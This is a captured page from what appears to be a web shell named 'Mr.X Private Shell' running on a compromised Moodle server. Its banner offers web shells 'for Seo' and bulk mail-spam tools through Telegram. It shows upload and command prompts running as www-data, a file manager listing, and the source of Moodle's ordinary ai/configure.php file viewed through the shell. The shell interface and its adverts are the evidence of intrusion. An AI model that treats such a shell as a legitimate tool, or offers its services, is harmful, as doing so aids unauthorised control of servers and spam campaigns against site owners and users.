__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.101: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * Configure provider instances.
 *
 * @package    core_ai
 * @copyright  2024 Matt Porritt <matt.porritt@moodle.com>
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */

require_once('../config.php');

require_login();
$context = context_system::instance();
require_capability('moodle/site:config', $context);

$id = optional_param('id', 0, PARAM_INT);  // If we have an id we have existing settings.
$provider = optional_param('aiprovider', null, PARAM_PLUGIN);
$returnurl = optional_param('returnurl', null, PARAM_LOCALURL);
$title = get_string('createnewprovider', 'core_ai');
$data = [];

// Handle return URL.
if (empty($returnurl)) {
    $returnurl = new moodle_url(
        url: '/admin/settings.php',
        params: ['section' => 'aiprovider']
    );
} else {
    $returnurl = new moodle_url($returnurl);
}
$data['returnurl'] = $returnurl;

if ($provider) {
    $configs = ['aiprovider' => $provider];
    $data['providerconfigs'] = $configs;
}

if ($id !== 0) { // If we have an id we are updating an existing provider instance.
    $manager = \core\di::get(\core_ai\manager::class);
    $providerrecord = $manager->get_provider_record(['id' => $id], MUST_EXIST);
    $plugin = explode('\\', $providerrecord->provider);
    $plugin = $plugin[0];

    $configs = json_decode($providerrecord->config, true, 512, JSON_THROW_ON_ERROR);
    $configs['aiprovider'] = $plugin;
    $configs['id'] = $providerrecord->id;
    $configs['name'] = $providerrecord->name;

    $data['providerconfigs'] = $configs;
    $title = get_string('configureprovider', 'core_ai');
}

// Initial Page setup.
$PAGE->set_context($context);
$PAGE->set_url('/ai/configure.php', ['id' => $id]);
$PAGE->set_pagelayout('admin');
$PAGE->set_title($title);
$PAGE->set_heading($title);

// Provider instance form processing.
$mform = new \core_ai\form\ai_provider_form(customdata: $data);
if ($mform->is_cancelled()) {
    $data = $mform->get_data();
    if (isset($data->returnurl)) {
        redirect($data->returnurl);
    } else {
        redirect($returnurl);
    }
}

if ($data = $mform->get_data()) {
    $data = (array)$data;
    $manager = \core\di::get(\core_ai\manager::class);
    $aiprovider = $data['aiprovider'];
    $providername = $data['name'];
    unset($data->aiprovider, $data->name, $data->id, $data->returnurl, $data->updateandreturn);
    if ($id !== 0) {
        $providerinstance = $manager->get_provider_instances(['id' => $id]);
        $providerinstance = reset($providerinstance);
        $providerinstance->name = $providername;

        $manager->update_provider_instance(
            provider:$providerinstance,
            config: $data
        );
        \core\notification::add(
            get_string('providerinstanceupdated', 'core_ai', $providername),
            \core\notification::SUCCESS
        );
    } else {
        $classname = $aiprovider . '\\' . 'provider';
        $manager->create_provider_instance(
            classname: $classname,
            name: $providername,
            config: $data,
        );
        \core\notification::add(
            get_string('providerinstancecreated', 'core_ai', $providername),
            \core\notification::SUCCESS
        );
    }
    redirect($returnurl);
}

// Page output.
echo $OUTPUT->header();

// Add the provider instance form.
$mform->display();

// Add the per provider action settings only if we have an existing provider.
if ($id !== 0) {
    echo $OUTPUT->render_from_template('core_ai/admin_action_settings', []);
    $provider = $mform->get_customdata()['aiprovider'];
    $tableid = $provider . '-' . $id; // This is the table id for the action settings table.
    $actiontable = new \core_ai\table\aiprovider_action_management_table($tableid);
    $actiontable->out();
}
echo $OUTPUT->footer();

Filemanager

Name Type Size Permission Actions
amd Folder 0755
classes Folder 0755
placement Folder 0755
provider Folder 0755
templates Folder 0755
tests Folder 0755
UPGRADING.md File 1.26 KB 0644
configure.php File 4.4 KB 0644
configure_actions.php File 3.38 KB 0644
configure_providers.php File 2.01 KB 0644
policy_acceptance_report.php File 1.6 KB 0644
usage_report.php File 1.54 KB 0644
Filemanager